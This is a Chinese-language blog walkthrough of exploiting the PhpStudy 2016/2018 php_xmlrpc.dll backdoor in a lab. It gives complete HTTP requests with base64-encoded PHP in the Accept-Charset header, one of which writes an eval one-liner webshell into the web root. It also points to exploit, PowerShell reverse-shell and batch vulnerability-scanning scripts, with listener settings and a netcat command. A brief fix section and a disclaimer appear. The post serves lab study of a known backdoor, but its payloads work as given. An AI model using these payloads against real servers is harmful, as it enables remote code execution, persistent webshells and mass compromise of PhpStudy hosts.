聲明:文中所涉及的技術、思路和工具僅供以安全爲目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔!
基礎介紹
事件背景
北京時間9月20日,杭州公安發佈《杭州警方通報打擊涉網違法犯罪暨‘淨網2019’專項行動戰果》一文,文章曝光了國內知名PHP調試環境程序集成包“PhpStudy軟件”遭到黑客篡改並植入“後門”。截至案發,近百萬PHP用戶中超過67萬用戶已被黑客控制,並大肆盜取賬號密碼、聊天記錄、設備碼類等敏感數據多達10萬多組,非法牟利600多萬元。
- **漏洞:**程序包自帶的PHP的
php_xmlrpc.dll
模塊中有隱藏後門。 - php.ini中必須要引用該模塊,這樣才能去復現該漏洞,若開啓了xmlrpc功能,php就會加載這個php_xmlrpc.dll動態鏈接庫文件,其中的惡意代碼就會被觸發。
xml rpc是使用http協議做爲傳輸協議的rpc機制(遠程過程調用),使用xml文本的方式傳輸命令和數據。
查看是否引用該模塊:
方法1:通過php.ini配置文件查看,位置D:\phpStudy\PHPTutorial\php\php-5.4.45\ext
方法2:通過phpinfo查看
- 影響版本:phpstudy 2016(php5.4/5.2) phpstudy 2018(php5.4/5.2)
phpStudy20180211版本php5.4.45與php5.2.17ext擴展文件夾下的php_xmlrpc.dll
phpStudy20161103版本php5.4.45與php5.2.17ext擴展文件夾下的php_xmlrpc.dll
不管是第三方下載的還是官網下載的phpstudy均存在後門,存在於php5.4.45和php5.2.17,當切換到其他版本漏洞是不存在的。
有問題的文件:
Phpstudy\PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
Phpstudy\PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
Phpstudy\PHPTutorial\php\php-5.4.45-nts\ext\php_xmlrpc.dll
漏洞復現
攻擊者:Windows 10系統
靶機:Windows 7虛擬機
1.是兩臺機器之間能夠相互ping通;
2.在靶機中下載帶有後門的PhpStudy 2018軟件,打開PhpStudy軟件,在D:\phpStudy\PHPTutorial\php\php-5.4.45\ext目錄中使用記事本打開php_xmlrpc.dll,搜索eval關鍵詞,查看植入的後門
3.打開PhpStudy 2018,切換到有後門的版本,並啓動Apache和MySQL服務,攻擊者在瀏覽器中訪問靶機的IP,查看是否能啓動WEB服務器
4.開啓代理服務器,使用burpsuite攔截瀏覽器的請求包,將攔截下來的數據發送到到Repeater模塊(重發),使用Ctrl+R或者點擊Action --> Send to Repater
5.修改請求包,將Accept-Encding(瀏覽器可解析的編碼方式): gzip,deflate逗號後面的空格刪除,然後在deflate後面增加一個空格(沒有Accept-Encding就自己加上)
復現漏洞的過程中,會遇到一個問題,請求包放到repeater時,會加入很多的空格。
Accept-Encoding: gzip, deflate
在Accept-Encoding中,deflate的前面都有一個空格,這個空格導致重訪無法成功,去掉空格即可。
6.再添加一項:Accept-Charset(規定服務器處理表單數據所接受的字符集):,Accept-Charset後面跟要執行的命令(惡意代碼需要經過Base64轉碼),即惡意代碼,最後提交該請求包,查看響應包
實例——system(’<惡意命令>’);(別忘了最後的分號)
這個漏洞相當於是個eval()函數的代碼執行,所以如果要執行os系統命令的話還要用system(’<惡意命令>’);
先base64編碼,在BP工具中,打開Decoder(解碼和編碼)模塊:
下圖可以看到,在響應包中我們可以看到我們想要的信息,復現成功
寫一句話木馬菜刀鏈接:
執行惡意命令system('echo ^<?php @eval($_POST["shell"])?^>>PHPTutorial\WWW\shell.php');
將木馬寫入PHPTutorial\WWW\shell.php中
GET /index.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:c3lzdGVtKCdlY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbInNoZWxsIl0pP14+PlBIUFR1dG9yaWFsXFdXV1xzaGVsbC5waHAnKTs=
Upgrade-Insecure-Requests: 1
可能遇到的問題
若無法成功連接,可能生成目錄不對,執行命令tree /f查看文件樹,找到可訪問路徑生成shell
GET /phpinfo.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none,
accept-charset: c3lzdGVtKCd0cmVlIC9mJyk7
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9
修復方法
1.在官網中下載最新的PhpStudy
2.將PhpStudy中php5.4和php5.2裏面的php_xmlrpc.dll替換爲官方的文件
3.使用phpstudy安全自檢修復程序2.0
Exploit利用腳本
1.在GitHub中下載PHPStudy_BackDoor_Exp,鏈接爲:https://github.com/NS-Sp4ce/PHPStudy_BackDoor_Exp
環境爲Python3,依賴request模塊
2.把下載好的PHPStudy_BackDoor_Exp文件夾拷貝到靶機中(這裏圖個方便直接拷到靶機上了,也就是本地打本地),並在含有PHPStudy_BackDoor_Exp的文件夾中開啓dos命令窗口
python phpstudy_backdoor.py 運行腳本
開啓腳本成功
3.根據提示,輸入目標主機(即出現漏洞的PhpStudy中web服務器地址),以及要執行的命令
- 需要開啓PhpStudy中的Apache和MySQL服務
- 根據上圖的提示所示,如果要執行os命令,命令必須是php函數,即使用system(’’);格式
參考:https://www.cnblogs.com/yankaohaitaiwei/p/11604762.html
反彈shell腳本
https://github.com/rabbitmask/PHPStudy_BackDoor
就目前版本來講,phpstudy是部署在Windows平臺(確實存在linux版本,發佈不久測試階段)居多,主流Windows平臺均已支持powershell(win7/server2008以上),我們反彈shell的探究藉助powershell實現。
phpstudy_backdoor_shell.py
腳本一鍵反彈shell,自動bypass,關於原理,藉助了powercat、powershell等,
所以請在powershell中執行`set-executionpolicy remotesigned`允許腳本執行。
Usage: python3 phpstudy_backdoor_shell.py [url]
#請先在腳本中配置監聽地址與端口
listen_host='192.168.1.254'
listen_port='6666'
運行demo:
python phpstudy_backdoor_shell.py 127.0.0.1
nc -lvvp [port]
批量掃描存在PHPStudy_BackDoor的URL
phpstudy_backdoor_poc.py
https://github.com/rabbitmask/PHPStudy_BackDoor
多進程批量檢測腳本,自動讀取urls.txt中內容,然後進行批量檢測
檢測結果如發現漏洞會存入phpstudy_backdoor_urls.txt中
運行demo:
python phpstudy_backdoor_poc.py
[+] http://127.0.0.1 is vulnerable.
[-] http://192.168.1.1 is invulnerable.
[*] http://192.168.1.2 Looks Like Something Wrong.
[*] http://192.168.1.3 Looks Like Something Wrong.